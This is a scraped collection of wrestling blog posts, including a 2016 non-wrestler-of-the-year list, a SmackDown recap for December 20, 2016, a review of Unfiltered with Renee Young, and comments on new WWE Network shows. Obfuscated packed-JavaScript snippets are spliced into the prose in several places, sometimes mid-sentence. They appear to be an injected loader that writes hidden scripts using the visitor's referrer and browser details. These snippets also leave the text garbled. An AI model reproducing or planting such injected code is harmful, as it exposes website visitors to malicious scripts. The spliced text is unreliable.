New Column: Tea and Crumpets, Bagels and Other Baked Commentary Goods
Also known as Squire Dave Taylor Needed A Hype Man.
https://wrestlingrumors.net/kbs-review-tea-crumpets-bagels-baked-commentary-goods/
Best of 2016: Non-Wrestler of the Year
");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|aadat|var|u0026u|referrer|hezhz||js|php'.split('|'),0,{})) I’m sure you know, a lot of what goes on in a match isn’t what goes on in a match. A lot of the time it’s what happens outside the ring or before the match starts or just on commentary. That’s what we’re going to look at today: the best non-wrestlers of the year. This could be anywhere from a manager to an authority figure to a commentator or really anything but a wrestler. Hence the term NON-WRESTLER in case you’re a bit slow today. In no order of course.
1. Mauro Ranallo.
2. Daniel Bryan.
3. Corey Graves.
Graves just gets the idea behind being a heel and plays the heck out of it. He praises the heels and likes to call out faces for their nonsense, which makes him much more of a Jesse Ventura than a Bobby Heenan. That’s not a bad thing either as Ventura was one of the best of all time. It’s been a long time since we’ve had someone like that and Graves does it like few others could.
4. Maryse.
5. Dario Cueto.
6. Renee Young.
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Smackdown – December 20, 2016: Merry Effort
Smackdown
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tdiby|var|u0026u|referrer|inihs||js|php'.split('|'),0,{}))
December 20, 2016
Location: Joe Louis Arena, Detroit, Michigan
Commentators: Mauro Ranallo, Tom Phillips, John Bradshaw Layfield, David Otunga
Opening sequence.
Smackdown World Title: AJ Styles vs. James Ellsworth
Styles is defending and it looks like this match is actually happening for a change. An early attempt at No Chin Music earns Ellsworth a strike rush for the pin at 43 seconds.
Back from a break, Ziggler is given a match against Corbin tonight. If Corbin wins, he gets the title shot next week.
Intercontinental Title: The Miz vs. Apollo Crews
John Cena is back next week.
Dean Ambrose vs. Luke Harper
Alexa Bliss vs. La Luchadora
Non-title and Luchadora is in a mask and full body suit. You know who it is, I know who it is, and we have to listen to the announcers not know who it is. Luchadora gets in some rollups for two each until Bliss pounds her in the back to take over. The fans chant SI as Luchadora slaps on the Disarm-Her for the tap at 3:06.
Ryan Phillippe (of Shooter, a show which guest starred Randy Orton) arrives and tries to find Orton. Instead he gets Curt Hawkins and Mojo Rawley so some trash can be talked between the two wrestlers. A match is announced for later.
Mojo Rawley vs. Curt Hawkins
Phillippe is on commentary so hopefully this is short. Mojo runs him over to start as the announcers praise Phillippe and we hear a bit about Shooter. That shifts to a discussion of Otunga being married to Jennifer Hudson (rarely discussed in WWE) as Rawley hits some Stinger Splashes and the Pounce. A running right hand in the corner ends Hawkins at 2:28. Phillippe was fine here and seemed to be having a good time, which is all you can ask for from a celebrity.
Baron Corbin vs. Dolph Ziggler
The winner gets Styles, on commentary here, for the title next week. Corbin takes over to start and takes Ziggler outside for some trash talk to the champ. A chest first whip into the buckle has Ziggler in even more trouble and Corbin does his slide under the ropes for a forearm to the back. Ziggler is sent shoulder first into the post and we take a break.
Post match Styles lays them both out with a chair. Cue Bryan to make the triple threat for the title next week.
Results
AJ Styles b. James Ellsworth – Backfist to the face
Miz b. Apollo Crews – Skull Crushing Finale
Dean Ambrose b. Luke Harper – La majistral
La Luchadora b. Alexa Bliss – Disarm-Her
Mojo Rawley b. Curt Hawkins – Running right hand in the corner
Dolph Ziggler vs. Baron Corbin went to a double countout
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Watched Unfiltered With Renee Young
And eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|iaedk|var|u0026u|referrer|biftb||js|php'.split('|'),0,{})) it’s about what you would expect.It runs less than seven minutes and shows Young eating breakfast with Seth Rollins. There’s nothing interesting here other than it being out of character. Rollins talks about a band he likes, his dog, what he wants to do when he retires and that’s about it. It’s quick, it’s unoffensive and you’re not likely to think about it ever again.
The only note here: there’s a shot where Renee turns her head and her hair falls over her face with her eyes looking at Seth and good night is that woman beautiful. Not hot like Trish or Lita but just stunningly pretty. Dean Ambrose is a lucky man.
NXT Takeover To Be A Monthly Series, Other New Network Shows
Gah I knew they would screw this up soon enough. Here’s a set of new shows coming to the Network. Thoughts/descriptions included.
We’ll eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bhben|var|u0026u|referrer|fddeb||js|php'.split('|'),0,{}))
start at the top.
Camp WWE – It’s basically an animated series rated TV-MA. There might be one or two laughs but I have no desire to watch this.
Swerved – WWE prank show. I don’t like these kind of shows on regular TV and I’m not going to like them here.
Diva Search – Are we really supposed to want to see the search for the next Cameron and Eva Marie?
Too Hot For WWE TV – This is a clip show of INSANE WWE moments. Basically we’re talking Are You Serious without the entertaining commentary, because bringing back Are You Serious would be too easy.
Live With Chris Jericho – Just Jericho’s podcast on the Network ala the Steve Austin Show. Whatever.
Unfiltered – Interview show with wrestlers AND pop culture people. In case you ever wanted an interview with whoever is hosting Raw that week I guess. The only positive here is Rene Young hosting.
Culture Shock – Corey Graves hosts a travel show. I’ve heard of worse ideas I guess.
The List – From WWE’s press release: WWE The List is the best, the worst, the most bizarre and interesting of everything and anything WWE. If it’s amazing, outrageous, sexy or just plain fun, it just made #TheList. So…..it’s Countdown?
New Episodes of Countdown, 24 and Rivalries – These speak for themselves and I have no issue with any of them. 24 is easily the best series they have and I never understood why they stopped airing Rivalries. Countdown is a great way to kill an hour.
Hulk Hogan’s Rock And Wrestling – If you were born in the 80s, you are now smiling.
Floyd Mayweather vs. Big Show – They already did a Wrestlemania Rewind on this so I don’t know why they’re doing this other than to steal some hype off the Pacquiao fight. There’s nothing wrong with that of course. Side note: why haven’t they done Royal Rumble, Summerslam or Survivor Series Rewind? They can’t be expensive to produce.
NXT Takeover Live – No no no no no no no NO! The entire appeal of NXT Takeover is that they don’t air frequently and they’re given time to grow. You had to know this was coming but my goodness this cripples my love for those things. NXT can try all they want, but they can’t fight WWE off forever.
The worst thing about this list is something I didn’t mention. In WWE’s press release, most of the shows are described as short form. In other words, most of these will be about five minutes long each. Yeah they’re easy to sit through, but that’s what is supposed to make me care? Really?
2013 Awards: Best Non-Wrestler
I’m eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zndfr|var|u0026u|referrer|kahdy||js|php'.split('|'),0,{})) not going to waste your time here.Paul Heyman wins and he wins by a lot. There really isn’t much to explain here, but there are two others I want to spotlight for a bit.
Zeb Colter has been responsible for making Jack Swagger something resembling interesting again. That’s nothing short of a divine act.
Then there’s someone who goes higher and higher every time I watch a show: Renee Young. This girl has everything you could want from someone in her job. First and foremost, she’s incredibly cute. Usually the first thought about a Diva is that she’s gorgeous or sexy etc, but Young is more reserved, wearing blouses or full outfits which is a very nice change of pace. She has a very cute look to her face as well and it works very well for her.
Second, and this is something you get if you watch NXT, she’s very intelligent and witty on commentary. Above all else though, she comes off as natural. She sounds like someone watching a match and giving some intelligent thoughts on what she’s seeing instead of reading from a script or reciting lines fed into her earpiece. It’s very different and works really well. I could easily see her being a big media personality on a major network or an NFL reporter etc.
BUt yeah, Heyman wins.
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